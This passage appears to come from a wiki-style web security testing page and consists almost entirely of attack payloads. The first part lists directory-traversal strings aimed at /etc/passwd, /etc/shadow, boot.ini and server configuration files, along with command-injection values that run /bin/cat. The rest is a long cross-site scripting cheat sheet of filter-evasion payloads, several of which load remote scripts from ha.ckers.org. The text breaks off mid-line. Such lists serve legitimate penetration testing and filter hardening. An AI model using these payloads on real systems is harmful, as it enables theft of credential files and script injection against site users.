%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div 